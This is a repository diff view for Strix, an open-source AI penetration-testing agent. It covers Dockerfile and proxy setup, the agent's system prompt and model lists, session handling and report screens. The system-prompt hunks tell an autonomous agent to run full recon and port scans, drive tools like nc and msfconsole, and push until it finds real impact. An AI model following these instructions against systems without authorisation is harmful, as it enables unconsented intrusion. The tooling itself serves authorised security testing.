Ahmed Allam 0d42b01cfa Update README.md 2025-09-28 21:04:40 -07:00
Ahmed AllamandGitHub 3ebf2248b1 Update issue templates 2025-09-29 02:19:04 +01:00
Ahmed Allam e56561f1eb Update README.md 2025-09-24 19:21:01 -07:00
8974c9f2c1 feat(llm): support remote API base (Ollama/LM Studio/LiteLLM) + docs (#24)
Co-authored-by: Ahmed Allam <ahmed39652003@gmail.com>
Co-authored-by: Ahmed Allam <49919286+0xallam@users.noreply.github.com>
2025-09-24 20:32:58 +01:00
Ahmed Allam 6f9ab1722c Better handling for rich markup errors 2025-09-24 01:13:02 -07:00
Ahmed AllamandGitHub 675f14cc56 Fix tool server http requests issues (#37) 2025-09-24 04:41:23 +01:00
Ahmed AllamandGitHub 2aa39f744e Fix escape issues causing tui to crash (#36) 2025-09-24 04:14:08 +01:00
Ahmed AllamandGitHub d5cad65ed8 Adding more verbose logging for llm failed requests (#30) 2025-09-14 15:56:07 -07:00
Ahmed Allam 1cdca6c8fe Remove rce prompt examples 2025-09-12 11:52:35 -07:00
Ahmed Allam 23a11a3cc6 Better handling of LLM request failures 2025-09-10 15:39:01 -07:00
Ahmed Allam 56903552ef Improving prompts 2025-09-09 23:38:23 -07:00
Ahmed Allam 7763491ee2 Fix docker container creation issue 2025-09-09 00:02:39 -07:00
Ahmed Allam 667aa34c6b Escaping tool arguments 2025-09-08 23:56:44 -07:00
Ahmed Allam 13517bad1a Improving CLI tool components 2025-09-08 23:56:03 -07:00
Ahmed Allam 37b68ecb92 Improving prompts 2025-09-08 23:54:06 -07:00
Ahmed AllamandAhmed Allam ac505e6f5e Update README 2025-09-08 10:31:16 -07:00
Ahmed Allam 7a36a68034 Use high reasoning effort by default 2025-09-08 10:29:31 -07:00
f54f587719 Fix openai dependencies issue (#14)
Co-authored-by: Ahmed Allam <ahmed39652003@gmail.com>
2025-08-18 23:22:31 +01:00
Ahmed AllamandGitHub 312fc936cf Running all agents under same container (#12) 2025-08-18 21:58:38 +01:00
Ahmed AllamandGitHub 69d38a13ee Redesigning the terminal tool (#11) 2025-08-17 07:43:29 +01:00
Ahmed AllamandGitHub 08ce23f410 Clone git repositories internally (#10) 2025-08-16 23:47:36 +01:00
Ahmed AllamandGitHub 344a8e3db7 Adding full support for gpt-5 models (#5) 2025-08-15 21:02:39 +01:00
58 changed files with 1694 additions and 5625 deletions
+1 -1
View File
@@ -27,8 +27,8 @@
<a href="https://x.com/strix_ai"><img src="https://github.com/usestrix/.github/raw/main/imgs/X.png" height="40" alt="Follow on X"></a>
<a href="https://trendshift.io/repositories/15362?utm_source=trendshift-badge&amp;utm_medium=badge&amp;utm_campaign=badge-trendshift-15362" target="_blank" rel="noopener noreferrer"><img src="https://trendshift.io/api/badge/trendshift/repositories/15362/weekly" alt="usestrix%2Fstrix | Trendshift" width="250" height="55"/></a>
<a href="https://trendshift.io/repositories/15362" target="_blank"><img src="https://trendshift.io/api/badge/repositories/15362" alt="usestrix/strix | Trendshift" width="250" height="55"/></a>
<a href="https://trendshift.io/repositories/15362?utm_source=trendshift-badge&amp;utm_medium=badge&amp;utm_campaign=badge-trendshift-15362" target="_blank" rel="noopener noreferrer"><img src="https://trendshift.io/api/badge/trendshift/repositories/15362/weekly" alt="usestrix%2Fstrix | Trendshift" width="250" height="55"/></a>
</div>
-3
View File
@@ -24,7 +24,6 @@ RUN apt-get update && \
python3 python3-pip python3-dev python3-venv python3-setuptools \
golang-go \
net-tools dnsutils whois \
file xxd \
jq parallel ripgrep grep \
less man-db procps htop \
iproute2 iputils-ping netcat-traditional \
@@ -193,8 +192,6 @@ RUN mkdir -p /workspace && chown -R pentester:pentester /workspace /app
USER pentester
RUN python3 -m venv /app/.venv && \
/app/.venv/bin/pip install --no-cache-dir caido-sdk-client && \
/app/.venv/bin/pip install --no-cache-dir \
requests httpx beautifulsoup4 lxml pyjwt cryptography && \
/app/.venv/bin/pip install --no-cache-dir -r /home/pentester/tools/jwt_tool/requirements.txt && \
printf '%s\n' \
'#!/bin/bash' \
+3 -6
View File
@@ -91,13 +91,10 @@ http_proxy=http://127.0.0.1:${CAIDO_PORT}
https_proxy=http://127.0.0.1:${CAIDO_PORT}
EOF
# Use POSIX `.` (not the bashism `source`) so these lines are safe when the rc
# files are read by a POSIX shell (e.g. `sh -lc`), which otherwise fails with
# "source: not found". `.` is understood by bash, zsh, and dash alike.
echo ". /etc/profile.d/proxy.sh" >> ~/.bashrc
echo ". /etc/profile.d/proxy.sh" >> ~/.zshrc
echo "source /etc/profile.d/proxy.sh" >> ~/.bashrc
echo "source /etc/profile.d/proxy.sh" >> ~/.zshrc
. /etc/profile.d/proxy.sh
source /etc/profile.d/proxy.sh
echo "✅ System-wide proxy configuration complete"
-8
View File
@@ -81,14 +81,6 @@ Protocol-specific testing techniques.
| --------- | ------------------------------------------------ |
| `graphql` | GraphQL introspection, batching, resolver issues |
### Reconnaissance
Passive discovery and attack-surface mapping techniques.
| Skill | Coverage |
| ----------------- | --------------------------------------------------------------- |
| `asset_discovery` | CT, TLS SAN pivoting, passive DNS, and ASN/IP asset enumeration |
### Tooling
Sandbox CLI playbooks for core recon and scanning tools.
+1 -3
View File
@@ -1,6 +1,6 @@
[project]
name = "strix-agent"
version = "1.1.0"
version = "1.0.4"
description = "Open-source AI Hackers for your apps"
readme = "README.md"
license = "Apache-2.0"
@@ -34,8 +34,6 @@ classifiers = [
]
dependencies = [
"openai-agents[litellm]==0.14.6",
"openai>=2.26.0,<2.45",
"litellm",
"pydantic>=2.11.3",
"pydantic-settings>=2.13.0",
"rich",
+1 -9
View File
@@ -41,7 +41,7 @@ from strix.tools.proxy.tools import (
view_request,
view_sitemap_entry,
)
from strix.tools.reporting.tool import create_dependency_report, create_vulnerability_report
from strix.tools.reporting.tool import create_vulnerability_report
from strix.tools.thinking.tool import think
from strix.tools.todo.tools import (
create_todo,
@@ -209,13 +209,6 @@ def _wrap_exec_command(tool: FunctionTool) -> FunctionTool:
invoke_tool = tool.on_invoke_tool
async def invoke(ctx: Any, raw_input: str) -> Any:
try:
parsed = json.loads(raw_input)
except (json.JSONDecodeError, TypeError):
parsed = None
if isinstance(parsed, dict) and "shell" not in parsed:
parsed["shell"] = "bash"
raw_input = json.dumps(parsed)
try:
return await invoke_tool(ctx, raw_input)
except ValidationError as exc:
@@ -342,7 +335,6 @@ _BASE_TOOLS: tuple[Tool, ...] = (
delete_note,
web_search,
create_vulnerability_report,
create_dependency_report,
list_requests,
view_request,
repeat_request,
+6 -28
View File
@@ -168,24 +168,9 @@ EFFICIENCY TACTICS:
- Download additional tools as needed for specific tasks
- Run multiple scans in parallel when possible
- Load the most relevant skill before starting a specialized testing workflow if doing so will improve accuracy, speed, or tool usage
- Use `exec_command` for Python code: write reusable scripts to a file and
run them with `python3 script.py`. For one-off snippets, `python3 -c` or a
here-document is acceptable, but avoid deeply nested quotes/parentheses — if
a snippet needs complex quoting or is more than a few lines, write it to a
file first to prevent syntax errors.
- Before importing a third-party Python library, make sure it is installed. The
sandbox's `python3` runs inside a preconfigured virtualenv that ships
`requests`, `httpx`, `beautifulsoup4` (bs4), `lxml`, `pyjwt`, and
`cryptography`; for anything else prefer the stdlib or run `pip install <pkg>`
(it installs into that active venv) before importing, rather than letting the
script fail with `ModuleNotFoundError`.
- `exec_command` runs each command in a fresh non-interactive shell (plain
pipes, no TTY). To drive an interactive or long-running process with
`write_stdin` — REPLs, `ssh`/`nc`/`ftp`, `msfconsole`, or to send Ctrl-C —
you MUST start it with `exec_command(cmd="...", tty=true)` and then
`write_stdin(session_id=<id>, chars="...")`. Calling `write_stdin` on a
default (non-TTY) command or on a process that has already exited fails with
"stdin is not available".
- Use `exec_command` for Python code: write reusable scripts under
`/workspace/scratch/` and run them with `python3`. For one-off snippets,
`python3 -c` or a here-document is acceptable.
- For Caido proxy automation inside Python, explicitly import from
`caido_api`:
`from caido_api import list_requests, view_request, repeat_request, list_sitemap, view_sitemap_entry, scope_rules`
@@ -201,11 +186,11 @@ EFFICIENCY TACTICS:
VALIDATION REQUIREMENTS:
- Full validation required - no assumptions
- Demonstrate concrete impact with evidence
- Consider business context for severity assessment — check whether the target is a demo/sandbox environment or content meant to be public, and factor that in
- Consider business context for severity assessment
- Independent verification through subagent
- Document complete attack chain
- Keep going until you find something that matters
- A vulnerability is ONLY considered reported when a reporting agent uses create_vulnerability_report (or create_dependency_report for known-CVE dependency/supply-chain findings) with full details. Mentions in agent_finish, finish_scan, or generic messages are NOT sufficient
- A vulnerability is ONLY considered reported when a reporting agent uses create_vulnerability_report with full details. Mentions in agent_finish, finish_scan, or generic messages are NOT sufficient
- Do NOT patch/fix before reporting: first create the vulnerability report via create_vulnerability_report (by the reporting agent). Only after reporting is completed should fixing/patching proceed
- DEDUPLICATION: The create_vulnerability_report tool uses LLM-based deduplication. If it rejects your report as a duplicate, DO NOT attempt to re-submit the same vulnerability. Accept the rejection and move on to testing other areas. The vulnerability has already been reported by another agent
</execution_guidelines>
@@ -255,18 +240,12 @@ AGENT ISOLATION & SANDBOXING:
- All agents share the same /workspace directory and proxy history
- Agents can see each other's files and proxy traffic for better collaboration
DISK & SCRATCH HYGIENE:
- /workspace is a shared, finite disk used by all agents at once — be a considerate tenant
- Prefer bounded recon: scope crawls and scans by depth, duration, and target rather than "collect everything"
- Redirect large tool output to a file, and once you've extracted what you need (e.g. a URL/endpoint list), remove the raw output
- If disk gets tight or a write fails for space, check what's large under /workspace and clean up files from your own task; leave another agent's files unless you've confirmed they're no longer in use
MANDATORY INITIAL PHASES:
BLACK-BOX TESTING - PHASE 1 (RECON & MAPPING):
- COMPLETE full reconnaissance: subdomain enumeration, port scanning, service detection
- MAP entire attack surface: all endpoints, parameters, APIs, forms, inputs
- CRAWL thoroughly: spider all pages (authenticated and unauthenticated), discover hidden paths, analyze JS files — keep each crawl bounded by depth/duration, and tidy up raw output once endpoints are extracted
- CRAWL thoroughly: spider all pages (authenticated and unauthenticated), discover hidden paths, analyze JS files
- ENUMERATE technologies: frameworks, libraries, versions, dependencies
- Reconnaissance should normally happen before targeted vulnerability discovery unless the correct next move is already obvious or the user/system explicitly asks to prioritize a specific area first
- ONLY AFTER comprehensive mapping → proceed to vulnerability testing
@@ -434,7 +413,6 @@ SPECIALIZED TOOLS:
PROXY & INTERCEPTION:
- Caido CLI - Modern web proxy (already running). Use the proxy tools
directly, or import `caido_api` from sandbox Python scripts.
- HTTPQL filters (for `list_requests`): quote string values, leave integers unquoted (`resp.code.eq:200`, not `"200"`); combine terms with `AND`/`OR` (there is no `NOT` — use the negated operator `ne`/`ncont`/`nregex`). Numeric fields (`resp.code`, `req.port`) use `eq`/`ne`/`gt`/`gte`/`lt`/`lte`; text fields (`req.host`, `req.path`, `req.method`, `req.raw`) use `cont`/`ncont`/`eq`/`regex`. Example: `resp.code.gte:200 AND resp.code.lt:300 AND req.host.cont:"api"`.
- NOTE: If you are seeing proxy errors when sending requests, it usually means you are not sending requests to a correct url/host/port.
- Ignore Caido proxy-generated 50x HTML error pages; these are proxy issues (might happen when requesting a wrong host or SSL/TLS issues, etc).
-149
View File
@@ -10,7 +10,6 @@ from agents.models.multi_provider import MultiProvider
from agents.retry import (
ModelRetryBackoffSettings,
ModelRetrySettings,
RetryPolicyContext,
retry_policies,
)
@@ -21,21 +20,6 @@ if TYPE_CHECKING:
from strix.config.settings import Settings
def request_timeout_extra_args(timeout_s: float | None) -> dict[str, float] | None:
"""Per-request model timeout; a plain float so ``ModelSettings.to_json_dict()`` stays serializable.""" # noqa: E501
if not timeout_s or timeout_s <= 0:
return None
return {"timeout": timeout_s}
def _retry_statusless_provider_errors(context: RetryPolicyContext) -> bool:
"""Retry statusless provider errors (e.g. mid-stream quota/billing), but not aborts."""
normalized = context.normalized
if normalized.is_abort:
return False
return normalized.status_code is None
class StrixProvider(MultiProvider):
"""Route any non-OpenAI prefix through LiteLLM with the prefix preserved,
so users type ``deepseek/deepseek-chat`` rather than
@@ -72,53 +56,15 @@ DEFAULT_MODEL_RETRY = ModelRetrySettings(
retry_policies.provider_suggested(),
retry_policies.network_error(),
retry_policies.http_status((429, 500, 502, 503, 504)),
_retry_statusless_provider_errors,
),
)
RECOMMENDED_MODEL_NAMES = (
"openai/gpt-5.6",
"openai/gpt-5.6-sol",
"openai/gpt-5.6-terra",
"openai/gpt-5.5",
"openai/gpt-5.5-pro",
"openai/gpt-5.4",
"openai/gpt-5.3-codex",
"anthropic/claude-fable-5",
"anthropic/claude-opus-4-8",
"anthropic/claude-opus-4-7",
"anthropic/claude-sonnet-5",
"anthropic/claude-sonnet-4-6",
"vertex_ai/gemini-3.1-pro-preview",
"gemini/gemini-3.1-pro-preview",
"deepseek/deepseek-v4-pro",
"deepseek/deepseek-v4-flash",
"dashscope/qwen3.7-max-2026-06-08",
"moonshot/kimi-k2.7-code",
"moonshot/kimi-k2.6",
)
_RECOMMENDED_MODEL_NAME_SET = frozenset(name.lower() for name in RECOMMENDED_MODEL_NAMES)
FRONTIER_MODEL_FAMILIES = (
(("azure", "azure_ai", "bedrock_mantle", "openai"), ("gpt-5",)),
(
("anthropic", "azure_ai", "bedrock", "claude", "databricks", "snowflake", "vertex_ai"),
("claude-fable-5", "claude-opus-4", "claude-sonnet-5", "claude-sonnet-4"),
),
(("google", "gemini", "vertex_ai"), ("gemini-3",)),
(("deepseek",), ("deepseek-v4", "deepseek-r1", "deepseek-reasoner")),
(("alibaba", "dashscope", "qwen"), ("qwen3.7", "qwen3.5", "qwen3-max")),
(("moonshot", "moonshotai", "kimi"), ("kimi-k2.7", "kimi-k2.6", "kimi-k2.5")),
)
def configure_sdk_model_defaults(settings: Settings) -> None:
"""Apply Strix config to SDK-native defaults."""
llm = settings.llm
set_tracing_disabled(True)
_configure_litellm_compatibility()
_configure_openrouter_attribution(llm.model)
if llm.api_key:
set_default_openai_key(llm.api_key, use_for_tracing=False)
_configure_litellm_default("api_key", llm.api_key)
@@ -165,29 +111,6 @@ def _configure_litellm_compatibility() -> None:
_register_litellm_cost_callback()
_OPENROUTER_ATTRIBUTION_HEADERS = {
"HTTP-Referer": "https://strix.ai",
"X-Title": "Strix",
"X-OpenRouter-Categories": "cli-agent",
}
def _configure_openrouter_attribution(model_name: str | None) -> None:
import litellm
current: object = litellm.headers
existing: dict[str, str] = current if isinstance(current, dict) else {}
if not model_name or "openrouter/" not in model_name.strip().lower():
if any(key in existing for key in _OPENROUTER_ATTRIBUTION_HEADERS):
remaining = {
k: v for k, v in existing.items() if k not in _OPENROUTER_ATTRIBUTION_HEADERS
}
litellm.headers = remaining or None # type: ignore[assignment]
return
litellm.headers = {**existing, **_OPENROUTER_ATTRIBUTION_HEADERS} # type: ignore[assignment]
def _register_litellm_cost_callback() -> None:
import litellm
@@ -233,78 +156,6 @@ def model_supports_reasoning(model_name: str) -> bool:
return bool(entry and entry.get("supports_reasoning"))
def is_recommended_or_frontier_model(model_name: str) -> bool:
"""Return whether a model is recommended or in a frontier model family."""
name = _normalized_model_name(model_name)
if not name:
return False
if name in _RECOMMENDED_MODEL_NAME_SET:
return True
provider_name, bare_model_name = _split_model_provider(name)
return any(
_matches_frontier_family(provider_name, bare_model_name, provider_markers, prefixes)
for provider_markers, prefixes in FRONTIER_MODEL_FAMILIES
)
def _normalized_model_name(model_name: str) -> str:
name = model_name.strip().lower()
for prefix in ("litellm/", "any-llm/"):
if name.startswith(prefix):
name = name[len(prefix) :]
break
return name
def _split_model_provider(model_name: str) -> tuple[str | None, str]:
if "/" not in model_name:
return None, model_name
provider_name, bare_model_name = model_name.rsplit("/", 1)
return provider_name, bare_model_name
def _matches_frontier_family(
provider_name: str | None,
model_name: str,
provider_markers: tuple[str, ...],
model_prefixes: tuple[str, ...],
) -> bool:
if not _matches_model_prefix(model_name, model_prefixes):
return False
if provider_name is None:
return True
return _contains_provider_marker(
provider_name, provider_markers, split_compound_names=True
) or _contains_provider_marker(model_name, provider_markers)
def _matches_model_prefix(model_name: str, model_prefixes: tuple[str, ...]) -> bool:
return any(
candidate.startswith(prefix)
for candidate in _model_name_candidates(model_name)
for prefix in model_prefixes
)
def _model_name_candidates(model_name: str) -> tuple[str, ...]:
if "." not in model_name:
return (model_name,)
suffixes = tuple(
model_name.split(".", index)[-1] for index in range(1, model_name.count(".") + 1)
)
return (model_name, *suffixes)
def _contains_provider_marker(
value: str, provider_markers: tuple[str, ...], *, split_compound_names: bool = False
) -> bool:
parts = set(value.replace(".", "/").split("/"))
if split_compound_names:
for separator in ("_", "-"):
parts.update(piece for part in tuple(parts) for piece in part.split(separator))
return any(marker in parts for marker in provider_markers)
def is_known_openai_bare_model(model_name: str) -> bool:
import litellm
-2
View File
@@ -56,8 +56,6 @@ class RuntimeSettings(BaseSettings):
# on large repos). Above this, the user must bind-mount via ``--mount``.
# Set to 0 (or less) to disable the pre-flight check entirely.
max_local_copy_mb: int = Field(default=1024, alias="STRIX_MAX_LOCAL_COPY_MB")
# Max screenshot/image tool outputs kept live per agent context (0 = none).
max_context_images: int = Field(default=3, ge=0, alias="STRIX_MAX_CONTEXT_IMAGES")
class TelemetrySettings(BaseSettings):
+1 -4
View File
@@ -10,8 +10,6 @@ from dataclasses import dataclass, field
from pathlib import Path
from typing import TYPE_CHECKING, Any, Literal, cast
from strix.core.sessions import session_write_lock
if TYPE_CHECKING:
from agents.items import TResponseInputItem
@@ -139,8 +137,7 @@ class AgentCoordinator:
)
return False
try:
async with session_write_lock(session):
await session.add_items([self._message_to_session_item(message)])
await session.add_items([self._message_to_session_item(message)])
except Exception:
logger.exception(
"agent.send failed to append to SDK session target=%s",
+1 -12
View File
@@ -17,11 +17,7 @@ from openai import APIError
from strix.core.hooks import BudgetExceededError
from strix.core.inputs import child_initial_input
from strix.core.sessions import (
enforce_image_budget,
open_agent_session,
strip_all_images_from_session,
)
from strix.core.sessions import open_agent_session, strip_all_images_from_session
if TYPE_CHECKING:
@@ -353,13 +349,6 @@ async def _run_cycle( # noqa: PLR0912, PLR0915
while True:
try:
await coordinator.mark_running(agent_id)
if session is not None:
max_images = context.get("max_context_images")
if isinstance(max_images, int):
try:
await enforce_image_budget(session, max_images)
except Exception:
logger.exception("image-budget enforcement failed for %s", agent_id)
stream = Runner.run_streamed(
agent,
input=input_data,
+2 -4
View File
@@ -3,7 +3,6 @@
from __future__ import annotations
import logging
import math
from typing import TYPE_CHECKING, Any
from agents.lifecycle import RunHooks
@@ -28,9 +27,8 @@ class ReportUsageHooks(RunHooks[dict[str, Any]]):
"""Persist SDK-native usage after every model response."""
def __init__(self, *, model: str, max_budget_usd: float | None = None) -> None:
if max_budget_usd is not None and (
not math.isfinite(max_budget_usd) or max_budget_usd <= 0
):
import math
if max_budget_usd is not None and (not math.isfinite(max_budget_usd) or max_budget_usd <= 0):
raise ValueError("max_budget_usd must be a finite number greater than 0")
self._model = model
self._max_budget_usd = max_budget_usd
+1 -9
View File
@@ -12,9 +12,7 @@ from strix.config.models import (
DEFAULT_MODEL_RETRY,
is_known_openai_bare_model,
model_supports_reasoning,
request_timeout_extra_args,
)
from strix.core.sessions import scrub_images_from_items
if TYPE_CHECKING:
@@ -127,13 +125,11 @@ def make_model_settings(
*,
model_name: str,
force_required_tool_choice: bool = False,
request_timeout: float | None = None,
) -> ModelSettings:
model_settings = ModelSettings(
parallel_tool_calls=False,
retry=DEFAULT_MODEL_RETRY,
include_usage=True,
extra_args=request_timeout_extra_args(request_timeout),
)
if (
reasoning_effort is not None
@@ -165,11 +161,7 @@ def child_initial_input(
"""
parts: list[str] = []
if parent_history:
rendered = json.dumps(
scrub_images_from_items(parent_history),
ensure_ascii=False,
default=str,
)
rendered = json.dumps(parent_history, ensure_ascii=False, default=str)
parts.append(
"== Inherited context from parent (background only) ==\n"
f"{rendered}\n"
-2
View File
@@ -215,7 +215,6 @@ async def run_strix_scan(
settings.llm.reasoning_effort,
model_name=resolved_model,
force_required_tool_choice=settings.llm.force_required_tool_choice,
request_timeout=settings.llm.timeout,
)
run_config = RunConfig(
model=resolved_model,
@@ -288,7 +287,6 @@ async def run_strix_scan(
"parent_id": None,
"interactive": interactive,
"spawn_child_agent": spawn_child_agent,
"max_context_images": settings.runtime.max_context_images,
}
root_session = open_agent_session(root_id, agents_db)
+36 -121
View File
@@ -2,149 +2,64 @@
from __future__ import annotations
import asyncio
import logging
import contextlib
from typing import TYPE_CHECKING, Any, cast
from weakref import WeakKeyDictionary
from agents.memory import SQLiteSession
if TYPE_CHECKING:
from collections.abc import Callable
from pathlib import Path
from agents.items import TResponseInputItem
from agents.memory import Session
logger = logging.getLogger(__name__)
def open_agent_session(agent_id: str, path: Path) -> SQLiteSession:
path.parent.mkdir(parents=True, exist_ok=True)
return SQLiteSession(session_id=agent_id, db_path=path)
_IMAGE_REJECTED_TEXT = "[image rejected by the model]"
_IMAGE_ELIDED_TEXT = "[older screenshot elided to bound context memory]"
_INHERITED_IMAGE_TEXT = "[screenshot omitted from inherited context]"
def _output_has_image(item_dict: dict[str, Any]) -> bool:
return (
item_dict.get("type") == "function_call_output"
and isinstance(item_dict.get("output"), list)
and any(isinstance(b, dict) and b.get("type") == "input_image" for b in item_dict["output"])
)
def _elided_output(item_dict: dict[str, Any], text: str) -> dict[str, Any]:
# Replace only image blocks; sibling text blocks are preserved.
output = item_dict.get("output")
blocks = output if isinstance(output, list) else []
return {
"type": "function_call_output",
"call_id": item_dict.get("call_id"),
"output": [
{"type": "input_text", "text": text}
if isinstance(block, dict) and block.get("type") == "input_image"
else block
for block in blocks
],
}
_session_write_locks: WeakKeyDictionary[Session, asyncio.Lock] = WeakKeyDictionary()
def session_write_lock(session: Session) -> asyncio.Lock:
"""Lock serialising all out-of-band writes to ``session``."""
lock = _session_write_locks.get(session)
if lock is None:
lock = asyncio.Lock()
_session_write_locks[session] = lock
return lock
async def _rewrite_session(
session: Session,
transform: Callable[[list[Any]], tuple[list[Any], bool]],
) -> bool:
"""Read-modify-write a session under its write lock, restoring on failure."""
async with session_write_lock(session):
items = await session.get_items()
if not items:
return False
rebuilt, changed = transform(list(items))
if not changed:
return False
rebuilt_items = cast("list[TResponseInputItem]", rebuilt)
original_items = cast("list[TResponseInputItem]", list(items))
await session.clear_session()
try:
await session.add_items(rebuilt_items)
except Exception:
logger.exception("session rewrite failed; restoring original items")
await session.clear_session()
await session.add_items(original_items)
raise
return True
async def strip_all_images_from_session(session: Session) -> bool:
"""Replace every image tool output with a text placeholder (rejection recovery)."""
def _transform(items: list[Any]) -> tuple[list[Any], bool]:
rebuilt: list[Any] = []
changed = False
for item in items:
item_dict = cast("dict[str, Any]", item) if isinstance(item, dict) else None
if item_dict is not None and _output_has_image(item_dict):
rebuilt.append(_elided_output(item_dict, _IMAGE_REJECTED_TEXT))
changed = True
else:
rebuilt.append(item)
return rebuilt, changed
return await _rewrite_session(session, _transform)
async def enforce_image_budget(session: Session, max_images: int) -> bool:
"""Keep only the most recent ``max_images`` image outputs; elide older ones."""
if max_images < 0:
items = await session.get_items()
if not items:
return False
def _transform(items: list[Any]) -> tuple[list[Any], bool]:
image_indices = [
i
for i, item in enumerate(items)
if isinstance(item, dict) and _output_has_image(cast("dict[str, Any]", item))
]
if len(image_indices) <= max_images:
return items, False
to_elide = set(image_indices[: len(image_indices) - max_images])
rebuilt = [
_elided_output(cast("dict[str, Any]", item), _IMAGE_ELIDED_TEXT)
if i in to_elide
else item
for i, item in enumerate(items)
]
return rebuilt, True
rebuilt: list[Any] = []
changed = False
for item in items:
item_dict = cast("dict[str, Any]", item) if isinstance(item, dict) else None
if (
item_dict is not None
and item_dict.get("type") == "function_call_output"
and isinstance(item_dict.get("output"), list)
and any(
isinstance(b, dict) and b.get("type") == "input_image" for b in item_dict["output"]
)
):
rebuilt.append(
{
"type": "function_call_output",
"call_id": item_dict.get("call_id"),
"output": [{"type": "input_text", "text": _IMAGE_REJECTED_TEXT}],
},
)
changed = True
else:
rebuilt.append(item)
return await _rewrite_session(session, _transform)
if not changed:
return False
def scrub_images_from_items(items: list[Any]) -> list[Any]:
"""Return a copy of ``items`` with every image block replaced by text."""
def _scrub(obj: Any) -> Any:
if isinstance(obj, dict):
if obj.get("type") == "input_image":
return {"type": "input_text", "text": _INHERITED_IMAGE_TEXT}
return {k: _scrub(v) for k, v in obj.items()}
if isinstance(obj, list):
return [_scrub(v) for v in obj]
return obj
return [_scrub(item) for item in items]
rebuilt_items = cast("list[TResponseInputItem]", rebuilt)
await session.clear_session()
try:
await session.add_items(rebuilt_items)
except Exception:
with contextlib.suppress(Exception):
await session.add_items(rebuilt_items)
raise
return True
+2 -30
View File
@@ -23,11 +23,9 @@ from strix.config import (
persist_current,
)
from strix.config.models import (
RECOMMENDED_MODEL_NAMES,
StrixProvider,
configure_sdk_model_defaults,
is_known_openai_bare_model,
is_recommended_or_frontier_model,
)
from strix.core.paths import run_dir_for, runtime_state_dir
from strix.interface.cli import run_cli
@@ -266,7 +264,7 @@ def _provider_import_hint(exc: BaseException, model: str) -> str | None:
return None
async def warm_up_llm(show_model_warning: bool = True) -> None:
async def warm_up_llm() -> None:
console = Console()
logger.info("Warming up LLM connection")
@@ -308,32 +306,6 @@ async def warm_up_llm(show_model_warning: bool = True) -> None:
)
sys.exit(1)
if show_model_warning and raw_model and not is_recommended_or_frontier_model(raw_model):
warn_text = Text()
warn_text.append("MODEL QUALITY WARNING", style="bold yellow")
warn_text.append("\n\n", style="white")
warn_text.append(f"'{raw_model}'", style="bold cyan")
warn_text.append(
" is not a recommended frontier model for Strix.\nSecurity scans work best with:\n",
style="white",
)
for recommended_model in RECOMMENDED_MODEL_NAMES:
warn_text.append(f"{recommended_model}\n", style="bold cyan")
warn_text.append(
"\nYou can continue, but weaker models may miss vulnerabilities "
"or produce lower-quality findings.",
style="white",
)
console.print(
Panel(
warn_text,
title="[bold white]STRIX",
title_align="left",
border_style="yellow",
padding=(1, 2),
),
)
model = StrixProvider().get_model(raw_model)
await asyncio.wait_for(
model.get_response(
@@ -855,7 +827,7 @@ def main() -> None:
pull_docker_image()
validate_environment()
asyncio.run(warm_up_llm(show_model_warning=args.non_interactive))
asyncio.run(warm_up_llm())
persist_current()
+4 -87
View File
@@ -31,7 +31,6 @@ from textual.widgets import Button, Label, Static, TextArea, Tree
from textual.widgets.tree import TreeNode
from strix.config import load_settings
from strix.config.models import is_recommended_or_frontier_model
from strix.core.hooks import BudgetExceededError
from strix.core.runner import run_strix_scan
from strix.interface.tui.live_view import TuiLiveView
@@ -117,16 +116,9 @@ class SplashScreen(Static): # type: ignore[misc]
self._animation_timer: Timer | None = None
self._panel_static: Static | None = None
self._version = "dev"
self._non_frontier_model: str | None = None
def compose(self) -> ComposeResult:
self._version = get_package_version()
try:
model = (load_settings().llm.model or "").strip()
except Exception:
model = ""
if model and not is_recommended_or_frontier_model(model):
self._non_frontier_model = model
self._animation_step = 0
start_line = self._build_start_line_text(self._animation_step)
panel = self._build_panel(start_line)
@@ -153,7 +145,7 @@ class SplashScreen(Static): # type: ignore[misc]
self._panel_static.update(panel)
def _build_panel(self, start_line: Text) -> Panel:
rows = [
content = Group(
Align.center(Text(self.BANNER.strip("\n"), style=self.PRIMARY_GREEN, justify="center")),
Align.center(Text(" ")),
Align.center(self._build_welcome_text()),
@@ -163,26 +155,9 @@ class SplashScreen(Static): # type: ignore[misc]
Align.center(start_line.copy()),
Align.center(Text(" ")),
Align.center(self._build_url_text()),
]
if self._non_frontier_model:
rows.extend(
(
Align.center(Text(" ")),
Align.center(self._build_model_warning_text(self._non_frontier_model)),
)
)
return Panel.fit(Group(*rows), border_style=self.PRIMARY_GREEN, padding=(1, 6))
@staticmethod
def _build_model_warning_text(model: str) -> Text:
text = Text("", style=Style(color="yellow", bold=True))
text.append(model, style=Style(color="cyan", bold=True))
text.append(
" is not a recommended frontier model - pentest quality could be degraded",
style=Style(color="yellow"),
)
return text
return Panel.fit(content, border_style=self.PRIMARY_GREEN, padding=(1, 6))
def _build_url_text(self) -> Text:
return Text("strix.ai", style=Style(color=self.PRIMARY_GREEN, bold=True))
@@ -396,19 +371,6 @@ class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc]
text.append("Target: ", style=self.FIELD_STYLE)
text.append(target)
dep_meta = vuln.get("dependency_metadata") or {}
for label, key in (
("Package", "package_name"),
("Ecosystem", "package_ecosystem"),
("Installed Version", "installed_version"),
("Fixed Version", "fixed_version"),
):
value = dep_meta.get(key)
if value:
text.append("\n\n")
text.append(f"{label}: ", style=self.FIELD_STYLE)
text.append(str(value))
endpoint = vuln.get("endpoint", "")
if endpoint:
text.append("\n\n")
@@ -427,18 +389,6 @@ class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc]
text.append("CVE: ", style=self.FIELD_STYLE)
text.append(cve)
cwe = vuln.get("cwe", "")
if cwe:
text.append("\n\n")
text.append("CWE: ", style=self.FIELD_STYLE)
text.append(cwe)
fix_effort = vuln.get("fix_effort", "")
if fix_effort:
text.append("\n\n")
text.append("Fix Effort: ", style=self.FIELD_STYLE)
text.append(str(fix_effort).title())
cvss_breakdown = vuln.get("cvss_breakdown", {})
if cvss_breakdown:
cvss_parts = []
@@ -484,13 +434,6 @@ class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc]
text.append("\n")
text.append(technical_analysis)
evidence = vuln.get("evidence", "")
if evidence:
text.append("\n\n")
text.append("Evidence", style=self.FIELD_STYLE)
text.append("\n")
text.append(evidence)
poc_description = vuln.get("poc_description", "")
if poc_description:
text.append("\n\n")
@@ -512,13 +455,6 @@ class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc]
text.append("\n")
text.append(remediation_steps)
assumptions = vuln.get("assumptions", "")
if assumptions:
text.append("\n\n")
text.append("Assumptions", style=self.FIELD_STYLE)
